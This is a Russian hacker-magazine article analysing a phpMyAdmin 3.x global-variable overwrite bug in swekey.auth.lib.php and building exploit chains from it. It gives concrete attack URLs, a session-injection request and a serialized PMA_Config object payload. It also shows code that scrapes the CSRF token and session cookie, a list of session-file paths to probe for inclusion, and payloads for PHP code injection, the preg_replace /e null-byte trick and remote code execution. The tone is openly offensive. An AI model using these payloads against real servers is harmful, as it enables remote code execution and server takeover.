Содержание статьи
Седьмого июля текущего года все продвинутое IT-сообщество всполошилось в связи с появлением известия о том, что все последние версии дефолтного MySQL-менеджера phpMyAdmin уязвимы к некой детской атаке, связанной с неконтролируемой глобализацией переменных. Предлагаю тебе вместе со мной окунуться в увлекательное исследование анатомии данной уязвимости.
Предыстория
Я надеюсь, что тебе не надо объяснять, что такое phpMyAdmin и с чем его едят, поэтому перейдем сразу к его хладному трупу :). Седьмого июля некий буржуйский багокопатель под ником Mango обнаружил следующее интересное место в коде движка:
./libraries/auth/swekey/swekey.auth.lib.php
if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
session_id($session_to_unset);
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}
Ты спросишь, что в этом коде такого интересного? Обрати внимание на функцию parse_str(). В предыдущих выпусках журнала ты уже мог неоднократно прочитать о том, что при определенных условиях из-за данной функции может возникнуть баг с так называемой неконтролируемой глобализацией переменных. В данном случае такими условиями являются:
- Отсутствие второго параметра в функции parse_str();
- Полный контроль удаленного пользователя над переменной $_SERVER[‘QUERY_STRING’] (это то, что идет в ссылке после знака "?").
В первые несколько дней после обнаружения уязвимости никто не мог или не хотел вникать в ее суть (в том числе и я). Данная ситуация была крайне забавной, так как автор даже указал возможный вектор применения бага: перезапись глобального массива $_SESSION, эффект от которой сохранится даже после перезагрузки страницы.
В своем оригинальном сообщении Mango пишет, что при просмотре указанного выше подозрительного кода может создаться впечатление, будто перезаписанная сессия уничтожится. Но это не так. В данном случае функция session_write_close() сохранит нашу перезаписанную сессию, а затем session_id() запустит новую сессию, не имеющую ровным счетом ничего общего с нашей. Из-за такого переключения сессий баг очень сложно было бы обнаружить с помощью обычного браузера, так как session_start() пошлет нам новые куки и попросит забыть о модифицированной сессии.
Пример инжекта произвольных переменных в сессию выглядит так:
http://pma/?session_to_unset=123&token=[ТОКЕН]&_SESSION[foo]=bar
Так как переменные сессии принимают участие во множестве мест движка, теоретически может возникнуть куча XSS и SQL-дырок. Однако мы сфокусируемся на нескольких наиболее серьезных векторах.
Первый вектор атаки
Для понимания первого вектора атаки мы должны пройтись по исходному коду нескольких файлов. Сначала давай заглянем в код класса для автоматической генерации конфига ./setup/lib/ConfigGenerator.class.php:
public static function getConfi gFile()
{
...
$c = $cf->getConfi g();
...
$ret = '<?php ' . $crlf
...
if ($cf->getServerCount() > 0) {
...
foreach ($c['Servers'] as $id => $server) {
$ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf . '$i++;' . $crlf;
...
Теперь нам нужно разобраться в этой каше. Первым делом обрати внимание на то, что данный код генерирует PHP-листинг с конфигом для phpMyAdmin. Здесь можно заметить, что ключ массива $c[‘Servers’] (переменная $id) не фильтруется. Таким образом, если мы сможем переименовать этот ключ в массиве, то сможем закрыть комментарий и проинжектить произвольный код. Далее смотрим на функцию getConfig(), с помощью которой и получается нужный нам массив $c:
./libraries/confi g/Confi gFile.class.php
public function getConfi g()
{
$c = $_SESSION[$this->id];
...
return $c;
}
Бинго! Переменная $c полностью зависит от массива $_SESSION, который, как ты уже понял, находится под нашим контролем! Теперь мы легко сможем инжектнуть произвольный PHP-код, который будет сохранен в файл ./config/config.inc.php.
В данном способе эксплуатации нет никаких ограничений (вроде авторизации или обязательного отключения magic_quotes_gpc). Омрачает ситуацию лишь один факт — папка ./config не является дефолтной для движка, так что попасть в точку ты сможешь лишь один раз из ста.
Второй вектор атаки
Второй способ уже не зависит от наличия папки ./config на сервере. Зато появляются две другие зависимости: magic_quotes_gpc = On и наличие логина и пароля к любой из баз данных текущего mysql-сервера.
Начинаем потрошение исходников:
./server_synchronize.php
...
$trg_db = $_SESSION['trg_db'];
...
$uncommon_tables = $_SESSION['uncommon_tables'];
...
PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, $uncommon_tables, $uncommon_table_structure_diff[$s], $uncommon_tables_fi elds, false);
Смотрим на функцию PMA_createTargetTables:
./libraries/server_synchronize.lib.php
function PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, &$uncommon_tables, $table_index, &$uncommon_tables_fi elds, $display)
{
...
$Create_Table_Query = preg_replace('/'. PMA_backquote($uncommon_tables[$table_index]) .'/', PMA_backquote($trg_db) . '.' .PMA_backquote($uncommon_tables[$table_index]), $Create_Query, $limit = 1);
...
Если ты внимательно следил за руками, то должен был заметить, что переменные $uncommon_tables[$table_index] и $trg_db переходят в функцию preg_replace() прямиком из массива $_SESSION. Так как я более чем уверен, что ты наслышан об одном из самых распространенных багов в PHP-движках — выполнении произвольного кода в preg_replace() с модификатором "e" (eval), перейдем сразу к делу. В данном случае мы можем проинжектить модификатор "e" в первый параметр уязвимой функции с помощью банального нуллбайта примерно так: (.+)/e%00. Все, что идет после нуллбайта, сразу же отпадет, и компилятор не будет ругаться на неправильно построенную регулярку :). Дабы не засорять страницы журнала килобайтами кода, демонстрирующего работоспособность этого и предыдущего способов эксплуатации нашего бага, я заботливо положил на наш диск соответствующие эксплоиты, с которыми и советую тебе ознакомиться.
Кстати, известный Suhosin patch от Стефана Эссера успешно закрывает багу с нуллбайтом и модификатором "e", так что здесь мы получаем еще одно суровое ограничение.
Тепличные эксплоиты
Теперь небольшое лирическое отступление. Уязвимость с перезаписью глобальных переменных сама по себе не является чем-то фатальным. Здесь нужно найти какой-либо вектор эксплуатации с любой из перезаписанных переменных. Это может не всегда получиться. В данном случае Mango нашел сразу два таких вектора, но эксплоиты по их мотивам получились крайне тепличными, необходимость авторизации и наличия недефолтной директории для успешного использования бага не давали нам ничего на практике.
Как ты уже понял, такая ситуация крайне меня не устраивала, поэтому после появления первых PoC я решил провести самостоятельное расследование. Здесь как нельзя кстати под руку подвернулся классный прошлогодний баг Стефана Эссера под названием "PHP Session Serializer Session Data Injection Vulnerability", который очень хорошо согласовывался с уязвимостью в unserialize() и "волшебных методах" PHP (ссылки на соответствующие статьи из прошлых номеров нашего журнала ищи в сносках).
Уязвимость в сессиях
Итак, остановимся немного подробней на вышеобозначенной уязвимости. По дефолту PHP-десериализатор сессий знает два специальных символа: PS_DELIMITER и PS_UNDEF_MARKER. Первый юзается для разделения сохраненных в сессии переменных, а второй маркирует неопределенные переменные и представляет собой обычный восклицательный знак. Заглянем в исходники PHP:
while (p < endptr) {
zval **tmp;
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) goto break_outer_loop;
}
if (p[0] == PS_UNDEF_MARKER) {
p++;
has_value = 0;
} else {
has_value = 1;
}
Проблема этого кода заключается в том, что сериализатор сессии корректно обрабатывает только символ PS_DELIMITER и забивает большой болт на PS_UNDEF_MARKER.
В результате своего исследования Стефан Эссер нашел способ внедрения произвольных данных (если быть точнее: строк, чисел, массивов и объектов) в сессию с помощью ключа массива $_SESSION, начинающегося с символа PS_UNDEF_MARKER. Примеры уязвимого к данной атаке кода выглядят так:
<?php
session_start();
$_SESSION[$_POST['prefi x'] . 'bla'] = $_POST['data'];
?>
и
<?php
session_start();
$_SESSION = array_merge($_SESSION, $_POST);
?>
Эксплуатация здесь выглядит крайне тривиально: посылаем POST-запрос prefi x=! и data=|xxx|O:10:"evilObject":0:{}.
В результате получаем инжект сериализованного объекта прямиком в сессии. Не забывай, что данное внедрение аналогично внедрению в функцию unserialize().
Вспоминая молодость
Если ты внимательно следишь за нашим журналом, то должен помнить, что в тех же статьях про "волшебные методы" я описывал классный способ эксплуатации бага с десериализацией во второй ветке phpMyAdmin. Тогда авторы поступили не совсем логично. Сама уязвимая функция unserialize(), конечно же, была убрана из исходников движка, зато полезный нам код в функции __wakeup() остался во всей третьей ветке совершенно нетронутым.
Теперь осталось только вспомнить механизм действия старого эксплоита, применить новые фишки и запилить новый убойный эксплоит. Итак, старый код для эксплуатации выглядел примерно следующим образом:
http://site.com/phpMyAdmin/scripts/setup.php? action=lay_navigation&eoltype=unix&token=[ТОКЕН]& configuration=a:1:{i:0;O:10:"PMA_Confi g":1: {s:6:"source";s:[ДЛИНА_ПУТИ]:"[ПУТЬ_К_FTP_С_ИНЖЕКТОМ]";}}
Здесь мы получали классический RFI-баг, омрачавшийся лишь проверкой на локальность с помощью мерзопакостной функции file_exists(), которая, впрочем, легко обходилась с помощью указания файла на любом доступном FTP-сервере.
Не буду глубоко вдаваться в подробности (советую прямо сейчас прочитать соответствующие статьи по ссылкам в сносках), а скажу лишь, что со временем ребята с rdot.org нашли способ работы данного сплоита без FTP с помощью инжекта прямо в файл сессии. Таким образом, наш unserialize()-эксплоит становился универсальным для всех версий phpMyAdmin < 3.
Links
- "Unserialize-баг в картинках: ошибки десериализации классов на живых примерах" — http://www.xakep.ru/post/52128/default.asp.
- "PHP и волшебные методы: сериализация PHP-объектов глазами хакера" — http://www.xakep.ru/post/51883/default.asp.
Новая жизнь старых багов
Намотав на ус вышеописанную информацию, ты, наверное, уже понял, что теперь мы приступим к написанию универсального эксплоита для phpMyAdmin всей третьей ветки :). Сначала нам нужно узнать токен, с помощью которого движок проверяет валидность запросов (только с помощью валидного токена мы сможем сохранить в сессию произвольные данные). Делается это достаточно просто:
1. Заходим на главную phpMyadmin;
2. Парсим токен из HTML-исходника страницы, например, так:
preg_match( '@name="token" value="([a-f0-9]{32})"@is',$page,$to);
$token = $to[1];
3. Таким же образом и с той же главной страницы парсим кукисы с идентификатором текущей сессии:
preg_match( '@phpMyAdmin=([a-z0-9]{32,40});?@is',$page,$se);
$session = $se[1];
4. Теперь пытаемся узнать текущий путь к папке с сессиями для успешного инклуда. Делается это с помощью простейшего цикла while и списка наиболее популярных мест в системе:
$sess_path = array(
'/tmp/',
'/var/tmp/',
'/var/lib/php/',
'/var/lib/php4/',
'/var/lib/php5/',
'/var/lib/php/session/',
'/var/lib/php4/session/',
'/var/lib/php5/session/',
...
Сам запрос для проверки на корректный инклуд в цикле выглядит примерно так:
$inj = $sess_path[$o].'sess_'.$session;
$query = $pma.'?session_to_unset=123&token='. $token.'&_SESSION[!bla]='.urlencode( '|xxx|a:1:{i:0;O:10:"PMA_Confi g":1:{s:6:"source";s:'. strlen($inj).':"'.$inj.'";}}');
Здесь: $sess_path[$o] — это каждый путь из массива $sess_path по порядку, $session — полученный выше идентификатор сессии, $pma — путь к движку, $token — полученный выше токен. Запрос $query следует посылать два раза: в первый раз происходит сам инжект, а во второй — проверка корректности пути к сессии. Если путь правильный, произойдет успешный инклуд, и мы увидим на экране содержимое файла сессии. Отследить инклуд можно по ключевому слову "PMA_Config". После успешного инклуда ты можешь спокойно внедрять свой PHP-код. Внедрение можно произвести с помощью все того же бага с переопределением глобальных переменных:
&_SESSION[payload]=<?php phpinfo(); ?>
Наша переменная payload попадает в файл сессии, после чего мы вполне сможем выполнить код при помощи описываемого RFI. Готовый эксплоит с сессиями ты также сможешь найти на нашем диске. Здесь хочу заметить, что, хотя данный способ и является более универсальным, чем способы Mango, он тоже несколько ограничен: magic_quotes_gpc = off и PHP <= 5.2.13 & PHP <= 5.3.2. Данные ограничения все же ничто по сравнению с необходимостью наличия нестандартной открытой на запись папки на сервере.
Злоключение
Как видишь, любой когда-либо обнаруженный баг может еще вернуться и нанести свой удар по известнейшим программным продуктам. Особенно доставляет в данной ситуации тот факт, что наконец-то нашлось практическое применение для бага с сессиями Стефана Эссера (пока что в паблике не было ни одного PoC по теме). Тебе же я могу посоветовать никогда не смотреть на крутость и известность движка, а просто брать и потрошить его :).
Warning
Ни автор, ни редакция не несут никакой ответственности за любой возможный вред, причиненный материалами данной статьи.